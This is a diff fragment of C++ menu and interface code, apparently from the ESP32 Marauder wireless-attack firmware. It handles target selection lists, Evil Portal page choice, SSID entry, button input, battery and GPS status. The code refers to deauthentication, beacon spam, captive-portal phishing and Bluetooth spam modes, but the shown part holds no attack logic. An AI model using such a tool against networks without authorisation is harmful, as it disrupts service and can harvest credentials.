+ for (int i = 0; i < stations->size(); i++) {
+ wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0);
+ if (strcmp(addr, btn_text.c_str()) == 0) {
+ Serial.print("Adding Station: ");
+ Serial.println(addr);
+ Station sta = stations->get(i);
+ sta.selected = true;
+ stations->set(i, sta);
+ }
+ }
+ }
+ else {
+ for (int i = 0; i < stations->size(); i++) {
+ wifi_scan_obj.getMAC(addr, stations->get(i).mac, 0);
+ if (strcmp(addr, btn_text.c_str()) == 0) {
+ Serial.print("Removing Station: ");
+ Serial.println(addr);
+ Station sta = stations->get(i);
+ sta.selected = false;
+ stations->set(i, sta);
+ }
+ }
+ }
+ }
+ }
+
+ // GFX Function to build a list showing all EP HTML Files
+ void MenuFunctions::selectEPHTMLGFX() {
+ extern EvilPortal evil_portal_obj;
+
+ lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
+ lv_obj_set_size(list1, 160, 200);
+ lv_obj_set_width(list1, LV_HOR_RES);
+ lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
+
+ lv_obj_t * list_btn;
+
+ lv_obj_t * label;
+
+ list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text09);
+ lv_obj_set_event_cb(list_btn, html_list_cb);
+
+ for (int i = 1; i < evil_portal_obj.html_files->size(); i++) {
+ char buf[evil_portal_obj.html_files->get(i).length() + 1] = {};
+ evil_portal_obj.html_files->get(i).toCharArray(buf, evil_portal_obj.html_files->get(i).length() + 1);
+
+ list_btn = lv_list_add_btn(list1, LV_SYMBOL_FILE, buf);
+ lv_btn_set_checkable(list_btn, true);
+ lv_obj_set_event_cb(list_btn, html_list_cb);
+
+ if (i == evil_portal_obj.selected_html_index)
+ lv_btn_toggle(list_btn);
+ }
+ }
+
+ void html_list_cb(lv_obj_t * btn, lv_event_t event) {
+ extern EvilPortal evil_portal_obj;
+ extern MenuFunctions menu_function_obj;
+
+ String btn_text = lv_list_get_btn_text(btn);
+ String display_string = "";
+
+ if (event == LV_EVENT_CLICKED) {
+ if (btn_text != text09) {
+ }
+ else {
+ Serial.println("Exiting...");
+ lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
+
+ for (int i = 1; i < evil_portal_obj.html_files->size(); i++) {
+ if (i == evil_portal_obj.selected_html_index) {
+ Serial.println("Selected: " + (String)evil_portal_obj.html_files->get(i));
+ }
+ }
+
+ printf("LV_EVENT_CANCEL\n");
+ menu_function_obj.deinitLVGL();
+ wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+ display_obj.exit_draw = true; // set everything back to normal
+ }
+ }
+
+ if (event == LV_EVENT_VALUE_CHANGED) {
+ if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
+ for (int i = 1; i < evil_portal_obj.html_files->size(); i++) {
+ if (evil_portal_obj.html_files->get(i) == btn_text) {
+ Serial.println("Setting HTML: " + (String)evil_portal_obj.html_files->get(i));
+ evil_portal_obj.selected_html_index = i;
+ evil_portal_obj.target_html_name = (String)evil_portal_obj.html_files->get(i);
+ }
+ }
+
+ // Deselect buttons that were previously selected
+ lv_obj_t * list = lv_obj_get_parent(btn);
+
+ lv_obj_t * next_btn = lv_obj_get_child(list, NULL);
+ while (next_btn != NULL) {
+ if (next_btn != btn) {
+ lv_btn_set_state(next_btn, LV_BTN_STATE_RELEASED);
+ }
+ next_btn = lv_obj_get_child(list, next_btn);
+ }
+ }
+ }
+ }
+
+ // GFX Function to build a list showing all APs scanned
+ void MenuFunctions::addAPGFX(){
+ extern LinkedList* access_points;
+
+ lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
+ lv_obj_set_size(list1, 160, 200);
+ lv_obj_set_width(list1, LV_HOR_RES);
+ lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
+
+ lv_obj_t * list_btn;
+
+ lv_obj_t * label;
+
+ list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, text09);
+ lv_obj_set_event_cb(list_btn, ap_list_cb);
+
+ for (int i = 0; i < access_points->size(); i++) {
+ char buf[access_points->get(i).essid.length() + 1] = {};
+ access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
+
+ list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, buf);
+ lv_btn_set_checkable(list_btn, true);
+ lv_obj_set_event_cb(list_btn, ap_list_cb);
+
+ if (access_points->get(i).selected)
+ lv_btn_toggle(list_btn);
+ }
+ }
+
+
+
+ void ap_list_cb(lv_obj_t * btn, lv_event_t event) {
+ extern LinkedList* access_points;
+ extern MenuFunctions menu_function_obj;
+
+ String btn_text = lv_list_get_btn_text(btn);
+ String display_string = "";
+
+ if (event == LV_EVENT_CLICKED) {
+ if (btn_text != text09) {
+ }
+ else {
+ Serial.println("Exiting...");
+ lv_obj_del_async(lv_obj_get_parent(lv_obj_get_parent(btn)));
+
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).selected) {
+ Serial.println("Selected: " + (String)access_points->get(i).essid);
+ }
+ }
+
+ printf("LV_EVENT_CANCEL\n");
+ menu_function_obj.deinitLVGL();
+ wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+ display_obj.exit_draw = true; // set everything back to normal
+ }
+ }
+
+ if (event == LV_EVENT_VALUE_CHANGED) {
+ if (lv_btn_get_state(btn) == LV_BTN_STATE_CHECKED_RELEASED) {
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).essid == btn_text) {
+ Serial.println("Adding AP: " + (String)access_points->get(i).essid);
+ AccessPoint ap = access_points->get(i);
+ ap.selected = true;
+ access_points->set(i, ap);
+ }
+ }
+ }
+ else {
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).essid == btn_text) {
+ Serial.println("Removing AP: " + (String)access_points->get(i).essid);
+ AccessPoint ap = access_points->get(i);
+ ap.selected = false;
+ access_points->set(i, ap);
+ }
+ }
+ }
+ }
+ }
+
+ void MenuFunctions::addSSIDGFX(){
+ extern LinkedList* ssids;
+
+ String display_string = "";
+ // Create a keyboard and apply the styles
+ kb = lv_keyboard_create(lv_scr_act(), NULL);
+ lv_obj_set_size(kb, LV_HOR_RES, LV_VER_RES / 2);
+ lv_obj_set_event_cb(kb, add_ssid_keyboard_event_cb);
+
+ // Create one text area
+ // Store all SSIDs
+ ta1 = lv_textarea_create(lv_scr_act(), NULL);
+ lv_textarea_set_one_line(ta1, false);
+ lv_obj_set_width(ta1, LV_HOR_RES);
+ lv_obj_set_height(ta1, (LV_VER_RES / 2) - 35);
+ lv_obj_set_pos(ta1, 5, 20);
+ lv_textarea_set_cursor_hidden(ta1, true);
+ lv_obj_align(ta1, NULL, LV_ALIGN_IN_TOP_MID, NULL, NULL);
+ lv_textarea_set_placeholder_text(ta1, text_table1[0]);
+
+ // Create second text area
+ // Add SSIDs
+ ta2 = lv_textarea_create(lv_scr_act(), ta1);
+ lv_textarea_set_cursor_hidden(ta2, false);
+ lv_textarea_set_one_line(ta2, true);
+ lv_obj_align(ta2, NULL, LV_ALIGN_IN_TOP_MID, NULL, (LV_VER_RES / 2) - 35);
+ lv_textarea_set_text(ta2, "");
+ lv_textarea_set_placeholder_text(ta2, text_table1[1]);
+
+ // After generating text areas, add text to first text box
+ for (int i = 0; i < ssids->size(); i++)
+ display_string.concat((String)ssids->get(i).essid + "\n");
+
+ lv_textarea_set_text(ta1, display_string.c_str());
+
+ // Focus it on one of the text areas to start
+ lv_keyboard_set_textarea(kb, ta2);
+ lv_keyboard_set_cursor_manage(kb, true);
+
+ }
+
+ // Keyboard callback dedicated to joining wifi
+ void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event){
+ extern Display display_obj;
+ extern MenuFunctions menu_function_obj;
+ extern WiFiScan wifi_scan_obj;
+ extern LinkedList* ssids;
+
+ lv_keyboard_def_event_cb(kb, event);
+
+ // User has applied text box
+ if(event == LV_EVENT_APPLY){
+ String display_string = "";
+ printf("LV_EVENT_APPLY\n");
+
+ // Get text from SSID text box
+ String ta2_text = lv_textarea_get_text(ta2);
+ Serial.println(ta2_text);
+
+ // Add text box text to list of SSIDs
+ wifi_scan_obj.addSSID(ta2_text);
+
+ // Update large text box with ssid
+ for (int i = 0; i < ssids->size(); i++)
+ display_string.concat((String)ssids->get(i).essid + "\n");
+ lv_textarea_set_text(ta1, display_string.c_str());
+
+ lv_textarea_set_text(ta2, "");
+ }else if(event == LV_EVENT_CANCEL){
+ printf("LV_EVENT_CANCEL\n");
+ menu_function_obj.deinitLVGL();
+ display_obj.exit_draw = true; // set everything back to normal
+ }
+ }
+
+
+ void ta_event_cb(lv_obj_t * ta, lv_event_t event)
+ {
+ if(event == LV_EVENT_CLICKED) {
+ if(kb != NULL)
+ lv_keyboard_set_textarea(kb, ta);
+ }
+
+ }
+
+#endif
+//// END LV_ARDUINO STUFF
+
+void MenuFunctions::buttonNotSelected(uint8_t b, int8_t x) {
+ if (x == -1)
+ x = b;
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.key[b].drawButton(false, current_menu->list->get(x).name);
+}
+
+void MenuFunctions::buttonSelected(uint8_t b, int8_t x) {
+ if (x == -1)
+ x = b;
+ display_obj.tft.setFreeFont(NULL);
+ display_obj.key[b].drawButton(true, current_menu->list->get(x).name);
+}
+
+// Function to check menu input
+void MenuFunctions::main(uint32_t currentTime)
+{
+ // Some function exited and we need to go back to normal
+ if (display_obj.exit_draw) {
+ wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
+ display_obj.exit_draw = false;
+ this->orientDisplay();
+ }
+ if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
+ (wifi_scan_obj.currentScanMode == OTA_UPDATE) ||
+ (wifi_scan_obj.currentScanMode == ESP_UPDATE) ||
+ (wifi_scan_obj.currentScanMode == SHOW_INFO) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_GPS_DATA) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_GPS_NMEA)) {
+ if (wifi_scan_obj.orient_display) {
+ this->orientDisplay();
+ wifi_scan_obj.orient_display = false;
+ }
+ /*#ifdef HAS_ILI9341
+ if ((wifi_scan_obj.currentScanMode != LV_JOIN_WIFI) &&
+ (wifi_scan_obj.currentScanMode != LV_ADD_SSID))
+ display_obj.updateBanner(current_menu->name);
+ #endif*/
+ }
+
+ if (currentTime != 0) {
+ if (currentTime - initTime >= BANNER_TIME) {
+ this->initTime = millis();
+ if ((wifi_scan_obj.currentScanMode != LV_JOIN_WIFI) &&
+ (wifi_scan_obj.currentScanMode != LV_ADD_SSID))
+ this->updateStatusBar();
+ }
+ }
+
+
+ boolean pressed = false;
+ // This is code from bodmer's keypad example
+ uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
+
+ // Get the display buffer out of the way
+ if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF ) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AP_SPAM) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
+ display_obj.displayBuffer();
+
+
+ // Pressed will be set true is there is a valid touch on the screen
+ int pre_getTouch = millis();
+
+ // getTouch causes a 10ms delay which makes beacon spam less effective
+ #ifdef HAS_ILI9341
+ if (!this->disable_touch)
+ pressed = this->updateTouch(&t_x, &t_y);
+ #endif
+
+
+ // This is if there are scans/attacks going on
+ #ifdef HAS_ILI9341
+ if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF) &&
+ (pressed) &&
+ (wifi_scan_obj.currentScanMode != OTA_UPDATE) &&
+ (wifi_scan_obj.currentScanMode != ESP_UPDATE) &&
+ (wifi_scan_obj.currentScanMode != SHOW_INFO) &&
+ (wifi_scan_obj.currentScanMode != WIFI_SCAN_GPS_DATA) &&
+ (wifi_scan_obj.currentScanMode != WIFI_SCAN_GPS_NMEA))
+ {
+ // Stop the current scan
+ if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_WAR_DRIVE) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_ESPRESSIF) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AP_SPAM) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
+ (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
+ (wifi_scan_obj.currentScanMode == BT_ATTACK_SOUR_APPLE) ||
+ (wifi_scan_obj.currentScanMode == BT_ATTACK_SWIFTPAIR_SPAM) ||
+ (wifi_scan_obj.currentScanMode == BT_ATTACK_SPAM_ALL) ||
+ (wifi_scan_obj.currentScanMode == BT_ATTACK_SAMSUNG_SPAM) ||
+ (wifi_scan_obj.currentScanMode == BT_ATTACK_GOOGLE_SPAM) ||
+ (wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) ||
+ (wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
+ (wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS))
+ {
+ wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+
+ // If we don't do this, the text and button coordinates will be off
+ display_obj.tft.init();
+
+ // Take us back to the menu
+ changeMenu(current_menu);
+ }
+
+ x = -1;
+ y = -1;
+
+ return;
+ }
+ #endif
+
+ #ifdef HAS_BUTTONS
+
+ bool c_btn_press = c_btn.justPressed();
+
+ #ifndef HAS_ILI9341
+
+ if ((c_btn_press) &&
+ (wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF) &&
+ (wifi_scan_obj.currentScanMode != OTA_UPDATE) &&
+ (wifi_scan_obj.currentScanMode != ESP_UPDATE) &&
+ (wifi_scan_obj.currentScanMode != SHOW_INFO) &&
+ (wifi_scan_obj.currentScanMode != WIFI_SCAN_GPS_DATA) &&
+ (wifi_scan_obj.currentScanMode != WIFI_SCAN_GPS_NMEA))
+ {
+ // Stop the current scan
+ if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_WAR_DRIVE) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_ESPRESSIF) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AP_SPAM) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_MIMIC) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
+ (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
+ (wifi_scan_obj.currentScanMode == BT_ATTACK_SOUR_APPLE) ||
+ (wifi_scan_obj.currentScanMode == BT_ATTACK_SWIFTPAIR_SPAM) ||
+ (wifi_scan_obj.currentScanMode == BT_ATTACK_SPAM_ALL) ||
+ (wifi_scan_obj.currentScanMode == BT_ATTACK_SAMSUNG_SPAM) ||
+ (wifi_scan_obj.currentScanMode == BT_ATTACK_GOOGLE_SPAM) ||
+ (wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) ||
+ (wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
+ (wifi_scan_obj.currentScanMode == BT_SCAN_SKIMMERS) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) ||
+ (wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR))
+ {
+ wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
+
+ // If we don't do this, the text and button coordinates will be off
+ display_obj.tft.init();
+
+ // Take us back to the menu
+ changeMenu(current_menu);
+ }
+
+ x = -1;
+ y = -1;
+
+ return;
+ }
+ #endif
+
+ #endif
+
+
+ // Check if any key coordinate boxes contain the touch coordinates
+ // This is for when on a menu
+ #ifdef HAS_ILI9341
+ if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AP_SPAM) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_MANUAL) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_DEAUTH_TARGETED) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_MIMIC) &&
+ (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
+ {
+ // Need this to set all keys to false
+ for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++) {
+ if (pressed && display_obj.key[b].contains(t_x, t_y)) {
+ display_obj.key[b].press(true); // tell the button it is pressed
+ } else {
+ display_obj.key[b].press(false); // tell the button it is NOT pressed
+ }
+ }
+
+ // Check if any key has changed state
+ for (uint8_t b = 0; b < current_menu->list->size(); b++) {
+ display_obj.tft.setFreeFont(MENU_FONT);
+ if (display_obj.key[b].justPressed()) {
+ display_obj.key[b].drawButton(true, current_menu->list->get(b).name);
+ if (current_menu->list->get(b).name != text09)
+ display_obj.tft.drawXBitmap(0,
+ KEY_Y + b * (KEY_H + KEY_SPACING_Y) - (ICON_H / 2),
+ menu_icons[current_menu->list->get(b).icon],
+ ICON_W,
+ ICON_H,
+ current_menu->list->get(b).color,
+ TFT_BLACK);
+ }
+
+ // If button was just release, execute the button's function
+ if ((display_obj.key[b].justReleased()) && (!pressed))
+ {
+ display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
+ current_menu->list->get(b).callable();
+ }
+ // This
+ else if ((display_obj.key[b].justReleased()) && (pressed)) {
+ display_obj.key[b].drawButton(false, current_menu->list->get(b).name);
+ if (current_menu->list->get(b).name != text09)
+ display_obj.tft.drawXBitmap(0,
+ KEY_Y + b * (KEY_H + KEY_SPACING_Y) - (ICON_H / 2),
+ menu_icons[current_menu->list->get(b).icon],
+ ICON_W,
+ ICON_H,
+ TFT_BLACK,
+ current_menu->list->get(b).color);
+ }
+
+ display_obj.tft.setFreeFont(NULL);
+ }
+ }
+ x = -1;
+ y = -1;
+ #endif
+
+ #ifdef HAS_BUTTONS
+ #if !(defined(MARAUDER_V6) || defined(MARAUDER_V6_1))
+ #ifndef MARAUDER_M5STICKC
+ if (u_btn.justPressed()){
+ if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
+ (wifi_scan_obj.currentScanMode == OTA_UPDATE)) {
+ if (current_menu->selected > 0) {
+ current_menu->selected--;
+ // Page up
+ if (current_menu->selected < this->menu_start_index) {
+ this->buildButtons(current_menu, current_menu->selected);
+ this->displayCurrentMenu(current_menu->selected);
+ }
+ this->buttonSelected(current_menu->selected - this->menu_start_index, current_menu->selected);
+ if (!current_menu->list->get(current_menu->selected + 1).selected)
+ this->buttonNotSelected(current_menu->selected + 1 - this->menu_start_index, current_menu->selected + 1);
+ }
+ // Loop to end
+ else {
+ current_menu->selected = current_menu->list->size() - 1;
+ if (current_menu->selected >= BUTTON_SCREEN_LIMIT) {
+ this->buildButtons(current_menu, current_menu->selected + 1 - BUTTON_SCREEN_LIMIT);
+ this->displayCurrentMenu(current_menu->selected + 1 - BUTTON_SCREEN_LIMIT);
+ }
+ this->buttonSelected(current_menu->selected, current_menu->selected);
+ if (!current_menu->list->get(0).selected)
+ this->buttonNotSelected(0, this->menu_start_index);
+ }
+ }
+ else if ((wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL)) {
+ if (wifi_scan_obj.set_channel < 14)
+ wifi_scan_obj.changeChannel(wifi_scan_obj.set_channel + 1);
+ else
+ wifi_scan_obj.changeChannel(1);
+ }
+ }
+ #endif
+ if (d_btn.justPressed()){
+ if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
+ (wifi_scan_obj.currentScanMode == OTA_UPDATE)) {
+ if (current_menu->selected < current_menu->list->size() - 1) {
+ current_menu->selected++;
+ this->buttonSelected(current_menu->selected - this->menu_start_index, current_menu->selected);
+ if (!current_menu->list->get(current_menu->selected - 1).selected)
+ this->buttonNotSelected(current_menu->selected - 1 - this->menu_start_index, current_menu->selected - 1);
+ // Page down
+ if (current_menu->selected - this->menu_start_index >= BUTTON_SCREEN_LIMIT) {
+ this->buildButtons(current_menu, current_menu->selected + 1 - BUTTON_SCREEN_LIMIT);
+ this->displayCurrentMenu(current_menu->selected + 1 - BUTTON_SCREEN_LIMIT);
+ }
+ }
+ // Loop to beginning
+ else {
+ if (current_menu->selected >= BUTTON_SCREEN_LIMIT) {
+ this->buildButtons(current_menu);
+ this->displayCurrentMenu();
+ }
+ current_menu->selected = 0;
+ this->buttonSelected(current_menu->selected);
+ if (!current_menu->list->get(current_menu->list->size() - 1).selected)
+ this->buttonNotSelected(current_menu->list->size() - 1);
+ }
+ }
+ else if ((wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR) ||
+ (wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL)) {
+ if (wifi_scan_obj.set_channel > 1)
+ wifi_scan_obj.changeChannel(wifi_scan_obj.set_channel - 1);
+ else
+ wifi_scan_obj.changeChannel(14);
+ }
+ }
+ if(c_btn_press){
+ current_menu->list->get(current_menu->selected).callable();
+ }
+ #endif
+ #endif
+}
+
+#if BATTERY_ANALOG_ON == 1
+byte battery_analog_array[10];
+byte battery_count = 0;
+byte battery_analog_last = 101;
+#define BATTERY_CHECK 50
+uint16_t battery_analog = 0;
+void MenuFunctions::battery(bool initial)
+{
+ if (BATTERY_ANALOG_ON) {
+ uint8_t n = 0;
+ byte battery_analog_sample[10];
+ byte deviation;
+ if (battery_count == BATTERY_CHECK - 5) digitalWrite(BATTERY_PIN, HIGH);
+ else if (battery_count == 5) digitalWrite(BATTERY_PIN, LOW);
+ if (battery_count == 0) {
+ battery_analog = 0;
+ for (n = 9; n > 0; n--)battery_analog_array[n] = battery_analog_array[n - 1];
+ for (n = 0; n < 10; n++) {
+ battery_analog_sample[n] = map((analogRead(ANALOG_PIN) * 5), 2400, 4200, 0, 100);
+ if (battery_analog_sample[n] > 100) battery_analog_sample[n] = 100;
+ else if (battery_analog_sample[n] < 0) battery_analog_sample[n] = 0;
+ battery_analog += battery_analog_sample[n];
+ }
+ battery_analog = battery_analog / 10;
+ for (n = 0; n < 10; n++) {
+ deviation = abs(battery_analog - battery_analog_sample[n]);
+ if (deviation >= 10) battery_analog_sample[n] = battery_analog;
+ }
+ battery_analog = 0;
+ for (n = 0; n < 10; n++) battery_analog += battery_analog_sample[n];
+ battery_analog = battery_analog / 10;
+ battery_analog_array[0] = battery_analog;
+ if (battery_analog_array[9] > 0 ) {
+ battery_analog = 0;
+ for (n = 0; n < 10; n++) battery_analog += battery_analog_array[n];
+ battery_analog = battery_analog / 10;
+ }
+ battery_count ++;
+ }
+ else if (battery_count < BATTERY_CHECK) battery_count++;
+ else if (battery_count >= BATTERY_CHECK) battery_count = 0;
+
+ if (battery_analog_last != battery_analog) {
+ battery_analog_last = battery_analog;
+ MenuFunctions::battery2();
+ }
+ }
+}
+void MenuFunctions::battery2(bool initial)
+{
+ uint16_t the_color;
+ if ( digitalRead(CHARGING_PIN) == 1) the_color = TFT_BLUE;
+ else if (battery_analog < 20) the_color = TFT_RED;
+ else if (battery_analog < 40) the_color = TFT_YELLOW;
+ else the_color = TFT_GREEN;
+
+ display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
+ display_obj.tft.fillRect(186, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ display_obj.tft.drawXBitmap(186,
+ 0,
+ menu_icons[STATUS_BAT],
+ 16,
+ 16,
+ STATUSBAR_COLOR,
+ the_color);
+ display_obj.tft.drawString((String) battery_analog + "%", 204, 0, 2);
+}
+#else
+void MenuFunctions::battery(bool initial)
+{
+ #ifdef HAS_BATTERY
+ uint16_t the_color;
+ if (battery_obj.i2c_supported)
+ {
+ // Could use int compare maybe idk
+ if (((String)battery_obj.battery_level != "25") && ((String)battery_obj.battery_level != "0"))
+ the_color = TFT_GREEN;
+ else
+ the_color = TFT_RED;
+
+ if ((battery_obj.battery_level != battery_obj.old_level) || (initial)) {
+ battery_obj.old_level = battery_obj.battery_level;
+ display_obj.tft.fillRect(204, 0, SCREEN_WIDTH, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ display_obj.tft.setCursor(0, 1);
+ display_obj.tft.drawXBitmap(186,
+ 0,
+ menu_icons[STATUS_BAT],
+ 16,
+ 16,
+ STATUSBAR_COLOR,
+ the_color);
+ display_obj.tft.drawString((String)battery_obj.battery_level + "%", 204, 0, 2);
+ }
+ }
+ #endif
+}
+void MenuFunctions::battery2(bool initial)
+{
+ MenuFunctions::battery(initial);
+}
+#endif
+
+void MenuFunctions::updateStatusBar()
+{
+ display_obj.tft.setTextSize(1);
+
+ bool status_changed = false;
+
+ #if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC) || defined(MARAUDER_REV_FEATHER)
+ display_obj.tft.setFreeFont(NULL);
+ #endif
+
+ uint16_t the_color;
+
+ if (this->old_gps_sat_count != gps_obj.getNumSats()) {
+ this->old_gps_sat_count = gps_obj.getNumSats();
+ display_obj.tft.fillRect(0, 0, 240, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
+ status_changed = true;
+ }
+
+ // GPS Stuff
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ if (gps_obj.getFixStatus())
+ the_color = TFT_GREEN;
+ else
+ the_color = TFT_RED;
+
+ #ifdef HAS_ILI9341
+ display_obj.tft.drawXBitmap(4,
+ 0,
+ menu_icons[STATUS_GPS],
+ 16,
+ 16,
+ STATUSBAR_COLOR,
+ the_color);
+ display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
+
+ display_obj.tft.drawString(gps_obj.getNumSatsString(), 22, 0, 2);
+ #elif defined(HAS_SCREEN)
+ display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
+ display_obj.tft.drawString("GPS", 0, 0, 1);
+ #endif
+ }
+ #endif
+
